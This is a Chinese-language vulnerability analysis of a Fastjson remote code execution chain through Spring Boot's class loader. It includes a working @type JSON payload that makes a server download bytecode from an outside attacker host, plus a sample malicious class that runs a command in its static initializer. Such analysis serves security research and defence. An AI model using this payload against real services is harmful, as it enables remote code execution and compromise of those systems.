作者漏洞原文:
2026 年 7 月 19 日 KirillFirsov(@k_firsov) 公开了一个影响 Fastjson 1.2.68 至 1.2.83 的远程代码执行漏洞

简介
分析了大概一上午吧整体比较简单
本文基于已公开的 POC进行测试分析,从 Spring Boot 的 FatJar 加载机制讲起,逐步拆解 replace('.','/') 的 URL 构造技巧、LaunchedURLClassLoader 为何成为漏洞通道、SSRF 如何升级为 RCE,并给出完整的调试复现过程
复现环境
• JDK 8 + Spring Boot 2.7.18 • Fastjson 1.2.83分析了大概一上午,整体比较简单。
Spring Boot的jar加载机制
Spring Boot我们在打包成jar的时候运行这个jar命令是 java -jar xxx.jar 这个是运行命令
Spring Boot 打包出来的 Jar 与普通 Java Jar 并不相同
查看打包后的 Jar 可以发现,其内部结构如下:
META-INF/
BOOT-INF/
├── classes/
└── lib/
其中:
• BOOT-INF/classes:项目编译后的 Class• BOOT-INF/lib:所有第三方依赖 Jar• META-INF/MANIFEST.MF:Jar 清单文件

MANIFEST.MF文件内容介绍
打开 MANIFEST.MF 可以看到:
Main-Class: org.springframework.boot.loader.JarLauncher
Start-Class: com.xxx.Application
看一下文件内容,他指向了org.springframework.boot.loader.JarLauncher

这里说明:
执行
java -jar xxxx.jar
真正启动的并不是我们自己的
Application.main()
而是:
org.springframework.boot.loader.JarLauncher

JarLauncher 做了什么?
进入 JarLauncher.main()
随后继续跟踪 launch() 方法

可以看见创建 ClassLoader类型是把 BOOT-INF/classes 和 BOOT-INF/lib 下的所有 Jar 打包成一个自定义类加载器(LaunchedURLClassLoader)
从MANIFEST.MF中读出Start-Class,找到您写的应用主类
把这个类加载器设为当前线程的类加载器,然后用它去加载并执行应用主类的 main() 方法,正式启动 Spring Boot

大题就是:最关键的一步:
LaunchedURLClassLoader
Spring Boot 会创建一个 自定义类加载器:
LaunchedURLClassLoader
它会:
• 加载 BOOT-INF/classes• 加载 BOOT-INF/lib• 将它们组合成一个统一的 ClassLoader • 设置为当前线程的 ContextClassLoader • 最后再执行:
Application.main()
为什么这会影响漏洞利用?
普通 Java 程序通常直接运行:
java Main
使用的是 JVM 默认的 AppClassLoader。
它只能加载本地 Class,例如:
D:\test\A.class
或者:
file:///...
而Spring Boot不一样
由于所有依赖都位于:
BOOT-INF/lib
里面还有Jar套Jar的结构,因此普通 ClassLoader 无法完成加载。
Spring Boot 必须使用能够解析嵌套 Jar 的:
LaunchedURLClassLoader
例如它可以正常解析:
jar:file:///app/app.jar!/BOOT-INF/lib/fastjson.jar!/XXX.class
这属于 Spring Boot 的正常设计
为什么会产生 SSRF?
既然 LaunchedURLClassLoader 能够解析 jar: 协议,那么理论上它也可以处理:
jar:http://attacker.com/probe!/POC.class
Fastjson 在解析 @type 时,会先将类名转换成资源路径:
String resource = typeName.replace('.', '/') + ".class";
因此攻击者可以构造:
jar:http:..2886795266:8000.probe!.POC
经过替换以后:
jar:http://2886795266:8000/probe!/POC.class
最终形成一个合法的 jar: URL
Fastjson 如何触发的 SSRF?
调试到打断电到JSON.parseObject(body, Map.class)

当程序执行:
JSON.parseObject(body, Map.class);
攻击者发送:
{
"@type":"jar:http:..2886795266:8000.probe!.POC",
"x":1
}
Fastjson 发现存在 @type 字段后,会进入:
ParserConfig.checkAutoType()
经过了String resource = typeName.replace(‘.’, ‘/’) + “.class”;变成了
jar:http://2886795266:8000/probe!/POC.class
看一下

随后执行:
is = ParserConfig.class
.getClassLoader()
.getResourceAsStream(resource);

ParserConfig.class.getClassLoader() 获取到的正是前面提到的 LaunchedURLClassLoader。
因此:
getResourceAsStream(
"jar:http://xxxx.com/probe!/POC.class"
)
会真正发起 HTTP 请求,下载远程资源
SSRF 变 RCE?
下载回来的并不是普通文件,而是一个 Java 字节码:
Fastjson 并不会立即加载这个类,而是先使用 ASM 对字节码进行分析
if (is != null) {
ClassReaderclassReader=newClassReader(is, true);
TypeCollectorvisitor=newTypeCollector("<clinit>", newClass[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType(); // → true!
}

攻击者提前在 POC.class 上打了一个 @JSONType 注解标签。ASM 扫描到这个标签后,fastjson 判定这是自己人,jsonType 被设为 true
jsonType=true 绕过安全检查

autoType 关了没用,jsonType 是 true 就直接走 loadClass 了。加载完直接返回,后面黑名单、isAssignableFrom 等检查全部跳过
用指定的ClassLoader把这个类加载到JVM里

当 Fastjson 调用 loadClass() 后,JVM 会完成类的加载,并在类首次主动使用时执行类初始化(<clinit>),其中包含静态初始化代码块 static {}
// 攻击者用 ASM 生成的恶意类(等价的 Java 代码)
@JSONType
publicclassPOC {
static {
Runtime.getRuntime().exec("恶意命令"); // 类加载时自动执行!
}
}

免责声明(Disclaimer)
本项目仅供网络安全研究、漏洞分析、安全测试、学习交流及防御技术验证使用,旨在帮助安全研究人员、开发者和运维人员理解相关技术原理,提高系统安全防护能力。
使用者在使用本项目时,应严格遵守所在国家或地区的法律法规,并确保仅在获得明确授权的目标系统、网络或设备上进行安全测试。未经授权,对任何第三方系统实施扫描、测试、攻击或其他可能影响系统安全的行为均可能违反相关法律法规,其产生的一切法律责任和后果均由使用者自行承担。
项目中涉及的漏洞分析、利用原理、示例代码及相关技术,仅用于说明漏洞形成原因、利用链分析以及安全防护措施,不应被用于任何非法用途。作者不鼓励、不支持任何形式的非法攻击、未授权渗透测试或其他危害网络安全的行为。
本项目按"现状(AS IS)"提供,不提供任何形式的明示或默示担保,包括但不限于适销性、特定用途适用性及非侵权保证。对于因使用、误用或无法使用本项目所造成的任何直接、间接、附带、特殊或衍生性损失,项目作者及贡献者均不承担任何责任。
使用本项目即表示您已阅读、理解并同意本免责声明的全部内容。如不同意本声明,请立即停止使用本项目。